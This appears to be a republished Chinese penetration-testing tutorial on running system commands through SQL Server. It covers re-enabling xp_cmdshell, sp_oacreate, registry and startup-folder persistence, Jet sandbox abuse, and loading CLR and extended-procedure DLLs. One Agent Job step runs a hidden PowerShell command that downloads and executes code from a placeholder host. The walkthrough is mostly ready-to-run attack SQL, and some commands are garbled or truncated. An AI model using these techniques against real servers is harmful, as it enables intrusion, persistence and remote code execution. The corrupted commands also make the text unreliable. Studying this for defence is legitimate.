如何通过SQLServer执⾏系统命令?
如何通过SQL Server执⾏系统命令?,
本⽂讲的是 如何通过SQL Server执⾏系统命令?
0x00 简介
渗透测试过程中,⼤家经常会碰到通过MSSQL来进⾏提权或执⾏系统命令之类的操作,通常我们经常会使⽤xp_cmdshell来进⾏执⾏系统命令,但是当xp_cmdshell不能使⽤的时候,我们还有什么别的⽅式么?本⽂将介绍与分享⼀下我⾃⼰学到的⼀些姿势。
0x01 常⽤的⼀些姿势
1. XP_CMDSHELL
这个⼤家都⽐较熟悉了,通过xp_cmdshell来执⾏命令,可使⽤以下语句来执⾏:
p_cmdshell "whoami"
默认情况下xp_cmdshell 是禁⽌的,如下图:
这个时候,可以使⽤以下命令进⾏开启:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭⼀样,只是将上⾯的后⾯的那个”1”改成”0”就可以了。
开启以后,则可执⾏系统命令
如果xp_cmdshell被删除,可以尝试上传xplog70.dll进⾏恢复,恢复语句:
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
2. SP_OACREATE
当xp_cmdshell 删除以后,可以使⽤SP_OACreate。
⾸先要打开组件:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
之后使⽤以下语句执⾏命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ /c whoami >d:\\tem p\\1.txt'
这⾥要注意⼀下,此⽅式执⾏是⽆回显的
3. ⾃启动
以下⽅式需要电脑重启。
添加注册表:
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'
备份添加启动项:
alter database test set RECOVERY FULL-- (把SQL设置成⽇志完全恢复模式)
create table cmd (a image)--  (新建⽴⼀个cmd表)
backup database test  to disk = 'D:\\temp\\cmd'  WITH init --
backup log test to disk = 'D:\\temp\\cmd1'  WITH init --  (减少备分数据的⼤⼩)
insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5 c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40)
-- (插⼊cmd命令)
backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分⽇志到启动路径)drop table cmd --(删除新建的cmd表)
alter database test set RECOVERY SIMPLE--(把SQL设置成⽇志简单恢复模式)
测试发现,Win10+MSSQL 2012导出的批处理并不能顺利执⾏,可能与系统及数据库版本有⼀定关系,成功率并不怎么⾼。
4. 通过沙盒执⾏命令
开启沙盒:
p_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利⽤jet.oledb执⾏命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
0x02 通过Agent Job执⾏命令
此种⽅式适⽤于服务器开启了MSSQL Agent Job服务,并且服务器中当前运⾏的⽤户账号拥有⾜够的权限去创建并执⾏代理作业的情况。利⽤代码如下:
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = -nop -w hidden -c "IEX ((new-
object net.webclient).downloadstring(''IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_n ame = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
关于此种⽅式已经有⽂章进⾏介绍,有兴趣可以阅读⼀下。戳我
0x03 SQL Server CLR
这种⽅式是最近才学到的,也是本⽂重点介绍的⼀种姿势。
Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语⾔运⾏时 (CLR) 组
件集成的功能。CLR 为托管代码提供服务,例如跨语⾔集成、代码访问安全性、对象⽣存期管理以及调试和分析⽀持。对于 SQL Server ⽤户和应⽤程序开发⼈员来说,CLR 集成意味着您现在可以使⽤任何 .NET Framework 语⾔(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、⽤户定义类型、⽤户定义函数(标量函数和表值函数)以及⽤户定义的聚合函数。
要通过此种⽅式来执⾏命令,也有⼏个前提:
1、在SQL Server上能启⽤CLR并可以创建⾃定义存储过程
2、SQL Server当前账号具有执⾏命令/代码所需要的权限
创建CLR有两种⽅式:
⽅式⼀:使⽤DLL⽂件进⾏创建
CREATE ASSEMBLY AssemblyName from ‘DLLPath’
⽅式⼆:使⽤⽂件16进制流进⾏创建
CREATE ASSEMBLY AssemblyName from ⽂件⼗六进制流
对于做渗透的我们,当然是没有⽂件是最好的⽅式了,因此,本⽂主要介绍⽅式⼆。以下为详细测试步骤:
1、安装Visual Studio和SQL Server数据库,此次测试使⽤了VS2015跟SQL2012。
2、创建⼀个新的SQL Server数据库项⽬
3、设置项⽬属性,⽬标平台修改为需要的⽬标平台,如SQL Server 2012; 将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为⾃⼰需要的版本;语⾔选择C#。
4、右键项⽬,选择添加->新建项,新建SQL CLR C# 存储过程
5、填⼊以下测试代码:
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此处放置代码
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "";
process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt";
process.Start();
}
}
6、填⼊代码以后进⾏编译,之后到编译⽬录下可以看到⼀个dacpac后缀的⽂件。
7、双击此⽂件进⾏解压,将解压出⼀个名为mode.sql的⽂件。
8、执⾏SQL⽂件中的以下语句
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...]
WITH PERMISSION_SET = UNSAFE;
之后执⾏:
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
9、开启数据库服务器配置选项clr enabled
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
--开启clr enabled 选项
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE
--关闭所有服务器配置选项
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE
--如果存在权限问题,执⾏下⾯⼀段脚本
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
10、执⾏命令:
EXEC [dbo].[SqlStoredProcedure1];
如果没成功,可以换个数据库试试看。
11、删除存储过程
DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode
0x04 PowerUpSQL
当然针对SQL Server的攻击,有⼀个强⼤的⼯具PowerUpSQL,⾥⾯也有很多针对MSSQL的攻击⽅式。下⾯介绍两种⽐较实⽤的⽅式。
1. SP_Addextendedproc
套件中的Create-SQLFileXpDll⽅法,在这⾥对其使⽤⽅式简单的进⾏⼀下介绍。
创建DLL:
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> . .\PowerUpSQL.ps1
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\
<" -ExportName xp_test
SQL Server 通过 sp_addextendedproc 调⽤DLL从⽽达到命令执⾏的效果。这⾥有两种⽅式导⼊:
//via local disk
sp_addextendedproc 'xp_test', 'D:\temp\exec.dll'
//via UNC path:
sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'
导⼊之后的可调⽤xp_test来执⾏命令:
p_test;
通过以下命令可以卸载:
sp_dropextendedproc 'xp_test'sqlserver备份表语句
2. SMB Relay Attacks
针对这种⽅式,已经有⽂章总结了,这⾥就不多做介绍了,详细请看这⾥。
0x05 ⼩结
本⽂就通过SQL Server 执⾏系统命令进⾏了⼀下⼩结,当然⽅式可能不全,仅仅是⾃⼰知道的⼀些⽅法,还希望⼤⽜别喷,如果您有什么更加新颖的⽅法,欢迎补充,希望本⽂对你有所帮助。
原⽂发布时间为:2017年2⽉14⽇
本⽂作者:Evi1cg
本⽂来⾃云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼⽹站。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。